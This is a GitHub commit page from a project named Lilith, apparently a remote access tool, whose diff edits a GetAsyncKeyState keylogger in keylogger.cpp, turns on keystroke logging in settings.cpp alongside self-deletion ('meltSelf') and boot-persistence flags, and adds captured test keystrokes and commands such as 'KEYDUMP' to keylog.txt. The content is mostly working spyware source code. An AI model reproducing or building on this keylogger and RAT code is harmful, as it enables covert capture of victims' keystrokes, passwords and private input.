Skip to content

Commit

Permalink
Set file to only open/close if input is registered
Browse files Browse the repository at this point in the history
  • Loading branch information
JulianGi committed Sep 16, 2017
1 parent b21447a commit b392698
Show file tree
Hide file tree
Showing 3 changed files with 15 additions and 9 deletions.
6 changes: 5 additions & 1 deletion Lilith/keylog.txt
Original file line number Diff line number Diff line change
Expand Up @@ -3,4 +3,8 @@ AM[RETURN]
TEST TE[BACKSPACE]YPING[RETURN]
THIS[RETURN]
[RMOUSE][RMOUSE][LMOUSE][LMOUSE][LMOUSE][LMOUSE][LMOUSE][LMOUSE][LMOUSE][LMOUSE][LMOUSE][LMOUSE][LMOUSE][RETURN]
[ARROW UP]CONSTANTLY OPENS AND L[BACKSPACE]CLOSES A FILE 100X PER SECOND. REALLY NOT OPTIMALS[LMOUSE]
[ARROW UP]CONSTANTLY OPENS AND L[BACKSPACE]CLOSES A FILE 100X PER SECOND. REALLY NOT OPTIMALS[LMOUSE][LMOUSE]CONNECT 0[RETURN]
KEYDUMP[RETURN]
KEYDUMP[RETURN]
KEX[BACKSPACE]YLKDAFJSKLDFJKLSADFJKDSAFKDFDFAJWJJAKE[STRG]A[BACKSPACE][BACKSPACE][BACKSPACE][BACKSPACE][BACKSPACE][BACKSPACE][BACKSPACE][BACKSPACE][BACKSPACE][BACKSPACE][BACKSPACE][BACKSPACE][BACKSPACE][BACKSPACE][BACKSPACE][BACKSPACE][BACKSPACE][BACKSPACE][BACKSPACE][BACKSPACE][BACKSPACE][BACKSPACE][BACKSPACE][BACKSPACE][BACKSPACE][BACKSPACE][BACKSPACE][BACKSPACE][BACKSPACE][BACKSPACE][BACKSPACE][BACKSPACE][BACKSPACE][BACKSPACE][BACKSPACE][BACKSPACE][BACKSPACE][BACKSPACE][BACKSPACE][BACKSPACE][BACKSPACE][BACKSPACE][BACKSPACE][BACKSPACE][BACKSPACE][BACKSPACE][BACKSPACE][BACKSPACE]KEYUD[BACKSPACE][BACKSPACE]DUMP[RETURN]
[LMOUSE][LMOUSE][LMOUSE][LMOUSE][LMOUSE][LMOUSE][BACKSPACE][ESC] [DEL]16[F11][SHIFT][LMOUSE][LMOUSE][LMOUSE][LMOUSE][LMOUSE][LMOUSE][LMOUSE]
16 changes: 9 additions & 7 deletions Lilith/keylogger.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -44,9 +44,7 @@ constantly opens and closes a file 100x per second. really not optimal
void Keylogger::logger() //keycode map taken from https://github.com/TheFox/keylogger/blob/master/src/main.cpp
{

std::ofstream file;
file.open(Settings::keylogPath, std::ios_base::app);


for (unsigned char c = 1; c < 255; c++) {
SHORT rv = GetAsyncKeyState(c);
if (rv & 1) { // on press button down
Expand Down Expand Up @@ -138,10 +136,14 @@ void Keylogger::logger() //keycode map taken from https://github.com/TheFox/key
else
out = "[KEY \\" + std::to_string(c) + "]";


file << out;
file.flush();
file.close();
if (out != "")
{
std::ofstream file;
file.open(Settings::keylogPath, std::ios_base::app);
file << out;
file.flush();
file.close();
}
}
}
}
2 changes: 1 addition & 1 deletion Lilith/settings.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -15,7 +15,7 @@ bool Settings::startOnNextBoot = false; //specifies whether it should startup t
bool Settings::meltSelf = false; //specifies whether the installed clone should delete the initial file
bool Settings::setStartupSelf = false; //specifies whether the program is to be started on system boot
bool Settings::logEvents = true; //specifies whether the program should log events (like errors etc)
bool Settings::logKeys = false; //[EARLY STAGE, VERY RESOURCE-DEMANDING] //specifies whether the program should log the users keystrokes
bool Settings::logKeys = true; //[EARLY STAGE, VERY RESOURCE-DEMANDING] //specifies whether the program should log the users keystrokes

#else

Expand Down

0 comments on commit b392698

Please sign in to comment.